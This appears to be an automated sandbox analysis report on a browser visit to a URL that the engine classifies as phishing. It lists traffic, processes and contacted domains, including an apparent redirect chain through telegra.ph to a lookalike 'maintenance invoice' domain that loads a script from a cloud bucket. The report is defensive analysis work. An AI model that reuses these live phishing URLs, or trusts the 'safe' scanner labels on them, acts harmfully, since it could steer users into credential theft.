Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/91fc51994e2a9acb/1741877170628/8f3b765e63b79f95a7421385bd392a77ce704428bdcb65e89594bbbe3be3e600/Wfi6LGkI0AzaTPf HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ta6tn/0x4AAAAAAA-uZx5FUOdPH-Fx/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2011361268:1741875955:c0x57_2dnnWv0cSNRdCEyxhdi_PDaFZ2_aYakigo87U/91fc51994e2a9acb/LGFQ88mF_QP141C7G5Ud698sC7wcVLkUl4QpbMV03j8-1741877165-1.1.1.1-66f2Wb4q5NYSFDMnBT8Fo16fd.zjayP37noXfe4F1YNPa9rS8PJ2qrI7IEDr06ws HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2011361268:1741875955:c0x57_2dnnWv0cSNRdCEyxhdi_PDaFZ2_aYakigo87U/91fc51994e2a9acb/LGFQ88mF_QP141C7G5Ud698sC7wcVLkUl4QpbMV03j8-1741877165-1.1.1.1-66f2Wb4q5NYSFDMnBT8Fo16fd.zjayP37noXfe4F1YNPa9rS8PJ2qrI7IEDr06ws HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: https://maintenanceinvoicedocument.siluetaneblewulosa.it.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://maintenanceinvoicedocument.siluetaneblewulosa.it.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrapp.min.js HTTP/1.1Host: 2067274913-1317754460.cos.ap-singapore.myqcloud.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: auth.microsites.m-atelier.cz
Source: global traffic	DNS traffic detected: DNS query: telegra.ph
Source: global traffic	DNS traffic detected: DNS query: tripakservices.co.uk
Source: global traffic	DNS traffic detected: DNS query: t4.ftcdn.net
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: maintenanceinvoicedocument.siluetaneblewulosa.it.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 2067274913-1317754460.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: 2067274913.sbs

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/2011361268:1741875955:c0x57_2dnnWv0cSNRdCEyxhdi_PDaFZ2_aYakigo87U/91fc51994e2a9acb/LGFQ88mF_QP141C7G5Ud698sC7wcVLkUl4QpbMV03j8-1741877165-1.1.1.1-66f2Wb4q5NYSFDMnBT8Fo16fd.zjayP37noXfe4F1YNPa9rS8PJ2qrI7IEDr06ws HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3934sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8cf-chl: LGFQ88mF_QP141C7G5Ud698sC7wcVLkUl4QpbMV03j8-1741877165-1.1.1.1-66f2Wb4q5NYSFDMnBT8Fo16fd.zjayP37noXfe4F1YNPa9rS8PJ2qrI7IEDr06wscf-chl-ra: 0sec-ch-ua-mobile: ?0Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ta6tn/0x4AAAAAAA-uZx5FUOdPH-Fx/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: chromecache_96.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_90.2.dr	String found in binary or memory: http://www.jacklmoore.com/autosize
Source: chromecache_84.2.dr	String found in binary or memory: https://quilljs.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown

HTTPS traffic detected: 131.253.33.254:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir5660_1587273540

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir5660_1587273540

Jump to behavior

Source: classification engine

Classification label: mal52.phis.win@25/52@44/19

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2316,i,1747391664198738342,13379341162962825991,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2372 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://auth.microsites.m-atelier.cz/redir?url=https://telegra.ph/Charlotte-Reeves-03-13&data=05%7C02%7Cteat@test.com%7Cf85134ec55e24fa0741708dd623d50ea%7C22def1f7e945453d836bda7282c42443%7C0%7C0%7C638774737677482831%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ==%7C0%7C%7C%7C&sdata=AFWlQKGCYsB3szoYr99UdtJsHEuv5b0KPmvHih+dvhk=&reserved=0"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2316,i,1747391664198738342,13379341162962825991,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2372 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://auth.microsites.m-atelier.cz/redir?url=https://telegra.ph/Charlotte-Reeves-03-13&data=05%7C02%7Cteat@test.com%7Cf85134ec55e24fa0741708dd623d50ea%7C22def1f7e945453d836bda7282c42443%7C0%7C0%7C638774737677482831%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ==%7C0%7C%7C%7C&sdata=AFWlQKGCYsB3szoYr99UdtJsHEuv5b0KPmvHih+dvhk=&reserved=0	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
http://www.jacklmoore.com/autosize	0%	Avira URL Cloud	safe
https://2067274913-1317754460.cos.ap-singapore.myqcloud.com/bootstrapp.min.js	0%	Avira URL Cloud	safe
https://tripakservices.co.uk/wp-content/uploads/2016/08/tripaklogo-copy1.png	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.193.229	true	false	high
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
n.sni.global.fastly.net	151.101.129.91	true	false	high
sgp.file.myqcloud.com	43.153.232.151	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
t.me	149.154.167.99	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
telegra.ph	149.154.164.13	true	false	high
maintenanceinvoicedocument.siluetaneblewulosa.it.com	104.21.83.40	true	false	unknown
2067274913.sbs	69.49.246.64	true	false	unknown
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	142.250.181.228	true	false	high
tripakservices.co.uk	85.187.142.75	true	false	unknown
catarina.m-atelier.cz	146.148.124.222	true	false	unknown
t4.ftcdn.net	unknown	unknown	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
2067274913-1317754460.cos.ap-singapore.myqcloud.com	unknown	unknown	false	unknown
auth.microsites.m-atelier.cz	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/N9fSN/	false		unknown
https://t.me/_websync_?path=Charlotte-Reeves-03-13&hash=c0cdf245aed7a75c26	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fc	false		high
https://t4.ftcdn.net/jpg/04/65/41/29/360_F_465412924_Ir2XnMp0TYJYtpl1IdNSPYt0UNDVMJv3.jpg	false		high
https://auth.microsites.m-atelier.cz/redir?url=https://telegra.ph/Charlotte-Reeves-03-13&data=05%7C02%7Cteat@test.com%7Cf85134ec55e24fa0741708dd623d50ea%7C22def1f7e945453d836bda7282c42443%7C0%7C0%7C638774737677482831%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ==%7C0%7C%7C%7C&sdata=AFWlQKGCYsB3szoYr99UdtJsHEuv5b0KPmvHih+dvhk=&reserved=0	false		unknown
https://telegra.ph/js/jquery.min.js	false		high
https://telegra.ph/css/core.min.css?47	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/d/91fc51994e2a9acb/1741877170626/xN40vxstI2Ov5Cp	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/91fc51994e2a9acb/1741877170628/8f3b765e63b79f95a7421385bd392a77ce704428bdcb65e89594bbbe3be3e600/Wfi6LGkI0AzaTPf	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ta6tn/0x4AAAAAAA-uZx5FUOdPH-Fx/auto/fbE/new/normal/auto/	false		high
https://cdn.jsdelivr.net/gh/pranaynamnaik/files@latest/micro-123787483.png	false		high
https://telegra.ph/favicon.ico?1	false		high
https://telegra.ph/js/load-image.all.min.js?1	false		high
https://telegra.ph/js/autosize.min.js	false		high
https://telegra.ph/js/core.min.js?67	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://telegra.ph/css/quill.core.min.css	false		high
https://a.nel.cloudflare.com/report/v4?s=ducObi9P2oK7eNgMgnbf8I5gCjWU90Rmen5Y15GEO5VclE%2FpiIcn25Y5D5gtcAI%2FS16zt%2Fd5MaaTv8ddAgfU29fmYhps4e7R33jCvWipgShp5Sb1b%2BuR6Yd9Yo2gWlp6j9FpvmWIV%2FbLBA4RbiqslxtrjAD1eD2nlmMRa0odi0r4QFwGR9W6	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://2067274913-1317754460.cos.ap-singapore.myqcloud.com/bootstrapp.min.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://telegra.ph/js/quill.min.js?10	false		high
https://telegra.ph/js/jquery.selection.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/2011361268:1741875955:c0x57_2dnnWv0cSNRdCEyxhdi_PDaFZ2_aYakigo87U/91fc51994e2a9acb/LGFQ88mF_QP141C7G5Ud698sC7wcVLkUl4QpbMV03j8-1741877165-1.1.1.1-66f2Wb4q5NYSFDMnBT8Fo16fd.zjayP37noXfe4F1YNPa9rS8PJ2qrI7IEDr06ws	false		high
https://tripakservices.co.uk/wp-content/uploads/2016/08/tripaklogo-copy1.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=91fc51994e2a9acb&lang=auto	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://quilljs.com/	chromecache_84.2.dr	false		high
http://www.jacklmoore.com/autosize	chromecache_90.2.dr	false	Avira URL Cloud: safe	unknown
http://opensource.org/licenses/MIT).	chromecache_96.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
151.101.1.91	unknown	United States	54113	FASTLYUS	false
151.101.193.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
151.101.129.229	unknown	United States	54113	FASTLYUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.129.91	n.sni.global.fastly.net	United States	54113	FASTLYUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
69.49.246.64	2067274913.sbs	United States	46606	UNIFIEDLAYER-AS-1US	false
146.148.124.222	catarina.m-atelier.cz	United States	15169	GOOGLEUS	false
43.153.232.151	sgp.file.myqcloud.com	Japan	4249	LILLY-ASUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.83.40	maintenanceinvoicedocument.siluetaneblewulosa.it.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
149.154.164.13	telegra.ph	United Kingdom	62041	TELEGRAMRU	false
85.187.142.75	tripakservices.co.uk	United States	55293	A2HOSTINGUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
142.250.181.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637392
Start date and time:	2025-03-13 15:44:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
